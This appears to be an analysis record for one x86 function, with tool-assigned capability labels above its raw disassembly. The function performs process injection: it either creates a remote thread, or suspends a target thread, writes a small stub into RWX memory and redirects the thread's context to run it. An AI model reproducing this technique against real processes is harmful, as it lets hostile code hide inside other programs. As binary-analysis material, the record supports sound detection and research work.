Function at 0x402950
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Inject thread
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x6b7040]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [ebp + 0x14], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x31c], ebx
mov dword [ebp - 0x324], esi
mov dword [ebp - 0x320], edi
jne 0x402a34
push str.NtCreateThreadEx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov ecx, eax
push 0
push 0
test ecx, ecx
jne 0x4029dd
push edi
push esi
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov esi, eax
test esi, esi
jne 0x4029ca
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x6b7290], eax
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403dbb
mov esp, ebp
pop ebp
ret
movzx eax, byte [ebp + 0x18]
push 0
shl eax, 2
push eax
push edi
push esi
push ebx
push 0
push 0x1fffff
lea eax, [ebp - 0x318]
mov dword [ebp - 0x318], 0
push eax
call ecx
mov eax, dword [ebp - 0x318]
test eax, eax
jne 0x402d40
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov dword [0x6b7290], eax
mov eax, dword [ebp - 0x318]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403dbb
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [ebp - 0x318], eax
test eax, eax
jne 0x402a60
pop edi
pop esi
mov dword [0x6b7290], 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403dbb
mov esp, ebp
pop ebp
ret
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
test edi, edi
jne 0x402a8d
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov dword [0x6b7290], eax
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403dbb
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x310]
mov dword [ebp - 0x310], 0x1c
xorps xmm0, xmm0
push eax
push edi
movlpd qword [ebp - 0x30c], xmm0
movlpd qword [ebp - 0x304], xmm0
movlpd qword [ebp - 0x2fc], xmm0
call sub.KERNEL32.dll_Thread32First
mov esi, eax
test esi, esi
je 0x402aff
mov ebx, dword [ebp - 0x318]
nop dword [eax + eax]
cmp dword [ebp - 0x304], ebx
jne 0x402ae6
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x308], eax
jne 0x402af9
lea eax, [ebp - 0x310]
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
mov esi, eax
test esi, esi
jne 0x402ad0
mov ebx, dword [ebp - 0x31c]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
test esi, esi
jne 0x402b29
pop edi
pop esi
mov dword [0x6b7290], 3
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403dbb
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x308]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
jne 0x402b5d
pop edi
pop esi
mov dword [0x6b7290], 4
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403dbb
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x402b89
push esi
mov dword [0x6b7290], 5
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403dbb
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x2f4], 0x10001
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x402bcc
push esi
mov dword [0x6b7290], 6
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403dbb
mov esp, ebp
pop ebp
ret
push 0x40
push 0x3000
push pe_nt_image_headers32
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x402c13
mov dword [0x6b7290], 7
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403dbb
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x22], eax
mov eax, dword [ebp - 0x320]
push 0
mov dword [ebp - 0x1b], eax
mov eax, dword [ebp - 0x324]
push 0x23
mov dword [ebp - 0x16], eax
lea eax, [ebp - 0x28]
push eax
push edi
push ebx
mov dword [ebp - 0x28], 0xc704ec83
mov word [ebp - 0x24], 0x2404
mov word [ebp - 0x1e], 0x609c
mov byte [ebp - 0x1c], 0xb9
mov byte [ebp - 0x17], 0xb8
mov dword [ebp - 0x12], 0x61d0ff51
mov word [ebp - 0xe], 0xc69d
mov byte [ebp - 0xc], 5
mov word [ebp - 7], 0xc300
mov dword [ebp - 0xb], edi
mov dword [ebp - 0x23c], edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x402c9a
push eax
push 0x8000
push edi
push ebx
mov dword [0x6b7290], 8
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x402bf1
lea eax, [ebp - 0x2f4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x402cc9
push eax
push 0x8000
push edi
push ebx
mov dword [0x6b7290], 9
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x402bf1
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x402cf3
push 0
push 0x8000
push edi
push ebx
mov dword [0x6b7290], 0xa
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x402bf8
mov byte [ebp - 0x311], 1
nop word [eax + eax]
push 0
push 1
lea eax, [ebp - 0x311]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 2
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x311], 0
jne 0x402d00
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
push 0
push 0x8000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403dbb
mov esp, ebp
pop ebp
ret